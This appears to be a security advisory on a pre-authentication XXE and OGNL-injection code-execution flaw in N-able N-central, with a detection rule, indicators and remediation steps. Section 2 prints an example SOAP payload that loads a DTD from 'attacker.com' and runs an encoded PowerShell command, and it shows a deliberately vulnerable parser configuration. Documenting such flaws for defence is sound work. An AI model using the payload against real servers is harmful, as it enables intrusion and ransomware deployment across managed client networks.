CVE-2026-125883: N-able N-central Able2Shell Pre-Authentication XXE Remote Code Execution
N-able N-central, one of the world's most widely deployed Remote Monitoring and Management (RMM) platforms utilized by Managed Service Providers (MSPs), contains a catastrophic pre-authentication remote code execution flaw (CVE-2026-125883, 'Able2Shell', CVSS 9.8). Uncovered by security researcher Sean Bales, the vulnerability resides in the unauthenticated SOAP web service endpoint '/dms2/services2/ServerService'. By injecting XML external entities (XXE) to extract cryptographic keys and chaining with unsafe OGNL expression evaluation, attackers execute arbitrary code with SYSTEM/root privileges on the central management server. From this foothold, attackers gain direct command-and-control access to push malware, backdoors, and ransomware across thousands of downstream client networks administered by the MSP. Immediate deployment of N-central 2026.4 Hotfix 2 or 2026.3 Hotfix 4 is critically required.
HERMES THREAT SCORE & SUPPLY CHAIN RISK
Target:N-able N-central ServerService SOAP Web Service and Underlying Tomcat/Java Runtime Hermes assigns an Extreme Threat Score of 98, reflecting the outsized supply-chain multiplier effect inherent to MSP management servers. A single compromised N-central instance empowers threat actors to broadcast synchronized payloads to tens of thousands of client workstations, domain controllers, and cloud environments, bypassing client-side perimeter firewalls.
1. Executive Summary & Operational Context
Section titled โ1. Executive Summary & Operational ContextโN-able N-central is an enterprise Remote Monitoring and Management (RMM) suite that gives Managed Service Providers (MSPs) and internal IT departments centralized oversight, patching, remote control, and scripting automation across heterogeneous IT fleets.
Disclosed in November 2026 and highlighted in Radio CSIRT Episode 797, CVE-2026-125883 (โAble2Shellโ) represents an extreme-threat initial access vector. Adversaries exploit an unauthenticated SOAP endpoint to conduct XML External Entity (XXE) injection, extract internal server secrets, and achieve arbitrary code execution via expression injection. Because N-central possesses permanent agent connections to all managed customer endpoints, taking over the server enables immediate downstream supply-chain compromise.
2. Technical Vulnerability Analysis & Root Cause
Section titled โ2. Technical Vulnerability Analysis & Root CauseโThe root cause lies in the Apache Axis2 SOAP XML parsing implementation deployed on the /dms2/services2/ServerService endpoint. The XML parser was configured with external entity resolution and DTD processing enabled:
// Vulnerable parser configuration in legacy Axis2 pipelineXMLInputFactory factory = XMLInputFactory.newInstance();// Missing security flags:// factory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, "");// factory.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, Boolean.FALSE);XMLStreamReader reader = factory.createXMLStreamReader(requestInputStream);Two-Phase Weaponization Chain
Section titled โTwo-Phase Weaponization Chainโ- Phase 1: Arbitrary File Read via Out-of-Band XXE
The attacker delivers a crafted SOAP envelope referencing an external DTD hosted on attacker infrastructure. The parser retrieves internal files such as
/opt/ncentral/conf/encryption.propertiesand database authentication tokens via outbound HTTP or DNS requests. - Phase 2: Pre-Auth Expression Injection & Code Execution
Leveraging the recovered internal secret key, the attacker signs an administrative task request containing an OGNL expression payload targeting the server task execution pipeline:
<!DOCTYPE payload [<!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">%dtd;]><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><executeTask xmlns="http://server.dms2.ncentral.com"><expression>@java.lang.Runtime@getRuntime().exec("powershell -enc ...")</expression></executeTask></soap:Body></soap:Envelope>
3. Attack Execution Flow & Weaponization Mechanics
Section titled โ3. Attack Execution Flow & Weaponization Mechanicsโflowchart TD A["Remote Adversary"] -->|"Step 1: POST /dms2/services2/ServerService<br/>(Crafted SOAP Request with Malicious DTD)"| B["N-able N-central Management Server<br/>(Ports 443 / 8443)"] B -->|"Step 2: Resolves External DTD<br/>Extracts encryption.properties"| C["Attacker OOB Server"] C -->|"Step 3: Forges Valid Admin Task Request<br/>with Injected OGNL Payload"| B B -->|"Evaluates Expression as SYSTEM / root"| D["Command Execution Shell"] D -->|"Step 4: Uses N-central Automation API<br/>to Push Ransomware to Clients"| E["Downstream Managed Client Agents"] E -->|"T1486: Encrypts Hundreds of Client Environments"| F["Mass Multi-Tenant Ransomware Incident"]4. Forensic Signatures, Detection Queries & IOCs
Section titled โ4. Forensic Signatures, Detection Queries & IOCsโSigma Detection Rule
Section titled โSigma Detection Ruleโtitle: N-able N-central ServerService XXE Injectionid: c4e1837a-1258-4e88-b219-f81d12588301status: experimentaldescription: Detects XML External Entity (XXE) and DOCTYPE injection targeting N-able N-central ServerServicelogsource: category: webserverdetection: selection: cs-method: 'POST' cs-uri-stem|contains: '/dms2/services2/ServerService' cs-body|contains|any: - '<!DOCTYPE' - '<!ENTITY' - 'SYSTEM "http' - 'SYSTEM "file' condition: selectionlevel: criticalThreat Intelligence & Indicators of Compromise (IOCs)
Section titled โThreat Intelligence & Indicators of Compromise (IOCs)โ| Type | Indicator | Context |
|---|---|---|
| IP Address | 185.196.220[.]31 | Threat actor OOB DTD receiver and exploit host |
| IP Address | 94.156.71[.]105 | Active internet-wide scanner for N-central /dms2/ endpoints |
| IP Address | 45.86.208[.]19 | Cobalt Strike beacon staging IP |
| Process | tomcat.exe -> powershell.exe | Anomalous execution tree on N-central Windows server |
| File Path | /opt/ncentral/conf/encryption.properties | Target of out-of-band file exfiltration |
5. Comprehensive Remediation, Hardening & Mitigation Plan
Section titled โ5. Comprehensive Remediation, Hardening & Mitigation Planโ-
Apply Hotfix HF2 Immediately: Upgrade N-central deployments to version 2026.4 Hotfix 2 or 2026.3 Hotfix 4. These updates enforce secure XML parsing and disable dynamic expression evaluation on public web services.
-
Restrict Public Internet Exposure: Do not expose the N-central web management console (
/dms2/,/admin/) to the public Internet. Restrict traffic on ports 443 and 8443 to known client agent outbound proxy addresses and MSP management subnets. -
Audit Downstream Task Queues: Review all scheduled automation tasks and remote script executions dispatched via N-central over the past 30 days. Investigate any unscheduled PowerShell or bash executions pushed to managed endpoints.
-
Rotate System Secret Keys: Regenerate internal server encryption keys, database passwords, and client agent communication tokens via the N-central security administration wizard.